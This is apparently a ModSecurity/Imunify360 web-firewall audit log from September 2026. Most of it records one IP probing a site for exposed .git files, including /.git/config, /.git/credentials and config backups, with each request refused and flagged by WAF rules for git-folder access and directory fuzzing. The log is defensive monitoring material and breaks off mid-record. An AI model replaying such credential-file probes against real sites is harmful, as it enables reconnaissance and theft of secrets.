[13/Sep/2026:05:07:01.657687 +0300] aqYFRWM7dE9KgIIOpQhcGgAAANY 95.134.102.26 35644 127.0.0.1 7081
--02634f19-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.26
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--02634f19-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--02634f19-E--
--02634f19-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265221636594 21184 (- - -)
Stopwatch2: 1789265221636594 21184; combined=6302, p1=400, p2=5219, p3=256, p4=9, p5=417, sr=133, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--02634f19-Z--
--b0b8de12-A--
[13/Sep/2026:05:07:02.008206 +0300] aqYFRWM7dE9KgIIOpQhcGwAAAMQ 151.243.174.176 35658 127.0.0.1 7081
--b0b8de12-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--b0b8de12-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b0b8de12-E--
--b0b8de12-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265221998160 10106 (- - -)
Stopwatch2: 1789265221998160 10106; combined=6561, p1=269, p2=5810, p3=126, p4=11, p5=344, sr=104, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b0b8de12-Z--
--c6df4b20-A--
[13/Sep/2026:05:07:02.423467 +0300] aqYFRisVWymXUono-eRQdwAAAAE 95.134.102.137 35668 127.0.0.1 7081
--c6df4b20-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.137
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--c6df4b20-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c6df4b20-E--
--c6df4b20-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265222415581 7938 (- - -)
Stopwatch2: 1789265222415581 7938; combined=6308, p1=814, p2=5032, p3=95, p4=10, p5=356, sr=633, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c6df4b20-Z--
--6376c723-A--
[13/Sep/2026:05:07:07.867182 +0300] aqYFSysVWymXUono-eRQegAAAAk 172.86.81.63 50422 127.0.0.1 7081
--6376c723-B--
GET /.git/logs/refs/heads/master HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--6376c723-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6376c723-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/logs/refs/heads/master"] [unique_id "aqYFSysVWymXUono-eRQegAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227025833 841398 (- - -)
Stopwatch2: 1789265227025833 841398; combined=3994, p1=207, p2=3752, p3=0, p4=0, p5=35, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6376c723-Z--
--3e65fa7e-A--
[13/Sep/2026:05:07:07.877677 +0300] aqYFSysVWymXUono-eRQfwAAAAw 172.86.81.63 50468 127.0.0.1 7081
--3e65fa7e-B--
GET /.git/description HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--3e65fa7e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3e65fa7e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/description"] [unique_id "aqYFSysVWymXUono-eRQfwAAAAw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227078515 799212 (- - -)
Stopwatch2: 1789265227078515 799212; combined=50797, p1=46305, p2=4444, p3=0, p4=0, p5=47, sr=46175, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e65fa7e-Z--
--d035486c-A--
[13/Sep/2026:05:07:08.067367 +0300] aqYFSysVWymXUono-eRQgAAAAA8 172.86.81.63 50492 127.0.0.1 7081
--d035486c-B--
GET /.git/logs/HEAD HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--d035486c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d035486c-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/logs/HEAD"] [unique_id "aqYFSysVWymXUono-eRQgAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227079119 988306 (- - -)
Stopwatch2: 1789265227079119 988306; combined=59589, p1=43671, p2=15853, p3=0, p4=0, p5=65, sr=43548, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d035486c-Z--
--855a7c45-A--
[13/Sep/2026:05:07:08.079692 +0300] aqYFSysVWymXUono-eRQeQAAAAg 172.86.81.63 50438 127.0.0.1 7081
--855a7c45-B--
GET /.git/logs/refs/remotes/origin/HEAD HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--855a7c45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--855a7c45-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/logs/refs/remotes/origin/HEAD"] [unique_id "aqYFSysVWymXUono-eRQeQAAAAg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227025039 1054739 (- - -)
Stopwatch2: 1789265227025039 1054739; combined=24674, p1=20690, p2=3909, p3=0, p4=0, p5=75, sr=20552, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--855a7c45-Z--
--24ef961b-A--
[13/Sep/2026:05:07:08.089534 +0300] aqYFSysVWymXUono-eRQgQAAAAc 172.86.81.63 50420 127.0.0.1 7081
--24ef961b-B--
GET /.git/HEAD HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--24ef961b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--24ef961b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/HEAD"] [unique_id "aqYFSysVWymXUono-eRQgQAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227079507 1010093 (- - -)
Stopwatch2: 1789265227079507 1010093; combined=41594, p1=37153, p2=4391, p3=0, p4=0, p5=50, sr=37006, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--24ef961b-Z--
--614e4c16-A--
[13/Sep/2026:05:07:08.242349 +0300] aqYFSysVWymXUono-eRQggAAABA 172.86.81.63 50494 127.0.0.1 7081
--614e4c16-B--
GET /.git/config HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--614e4c16-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--614e4c16-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQggAAABA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQggAAABA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQggAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227079918 1162478 (- - -)
Stopwatch2: 1789265227079918 1162478; combined=74193, p1=34368, p2=39740, p3=0, p4=0, p5=84, sr=34195, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--614e4c16-Z--
--53c0f73b-A--
[13/Sep/2026:05:07:08.269121 +0300] aqYFSysVWymXUono-eRQfgAAAAo 172.86.81.63 50452 127.0.0.1 7081
--53c0f73b-B--
GET /.git/logs/refs/heads/main HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--53c0f73b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--53c0f73b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/logs/refs/heads/main"] [unique_id "aqYFSysVWymXUono-eRQfgAAAAo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227077961 1191218 (- - -)
Stopwatch2: 1789265227077961 1191218; combined=24043, p1=20226, p2=3756, p3=0, p4=0, p5=61, sr=20048, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--53c0f73b-Z--
--614e4c16-A--
[13/Sep/2026:05:07:08.294731 +0300] aqYFSzTJ6xTvcJoem7f1HQAAAFg 172.86.81.63 50548 127.0.0.1 7081
--614e4c16-B--
GET /.git/packed-refs HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--614e4c16-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--614e4c16-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/packed-refs"] [unique_id "aqYFSzTJ6xTvcJoem7f1HQAAAFg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227184026 1110751 (- - -)
Stopwatch2: 1789265227184026 1110751; combined=3886, p1=250, p2=3585, p3=0, p4=0, p5=51, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--614e4c16-Z--
--53c0f73b-A--
[13/Sep/2026:05:07:08.299287 +0300] aqYFSzTJ6xTvcJoem7f1HwAAAEM 172.86.81.63 50566 127.0.0.1 7081
--53c0f73b-B--
GET /.git/credentials HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--53c0f73b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--53c0f73b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1HwAAAEM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227195081 1104253 (- - -)
Stopwatch2: 1789265227195081 1104253; combined=3466, p1=185, p2=3234, p3=0, p4=0, p5=46, sr=86, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--53c0f73b-Z--
--1853b25c-A--
[13/Sep/2026:05:07:08.306454 +0300] aqYFSysVWymXUono-eRQhQAAAA4 172.86.81.63 50476 127.0.0.1 7081
--1853b25c-B--
GET /.git/config.save HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--1853b25c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1853b25c-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.save"] [unique_id "aqYFSysVWymXUono-eRQhQAAAA4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config.save"] [unique_id "aqYFSysVWymXUono-eRQhQAAAA4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.save"] [unique_id "aqYFSysVWymXUono-eRQhQAAAA4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227094841 1211659 (- - -)
Stopwatch2: 1789265227094841 1211659; combined=57255, p1=14111, p2=43080, p3=0, p4=0, p5=63, sr=13947, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1853b25c-Z--
--508be801-A--
[13/Sep/2026:05:07:08.327990 +0300] aqYFSysVWymXUono-eRQfQAAAAU 172.86.81.63 50412 127.0.0.1 7081
--508be801-B--
GET /.git/refs/heads/master HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--508be801-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--508be801-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/refs/heads/master"] [unique_id "aqYFSysVWymXUono-eRQfQAAAAU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227057060 1270978 (- - -)
Stopwatch2: 1789265227057060 1270978; combined=4182, p1=214, p2=3905, p3=0, p4=0, p5=62, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--508be801-Z--
--b9d01776-A--
[13/Sep/2026:05:07:08.377005 +0300] aqYFSysVWymXUono-eRQhAAAAAQ 172.86.81.63 50516 127.0.0.1 7081
--b9d01776-B--
GET /.git/config.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--b9d01776-F--
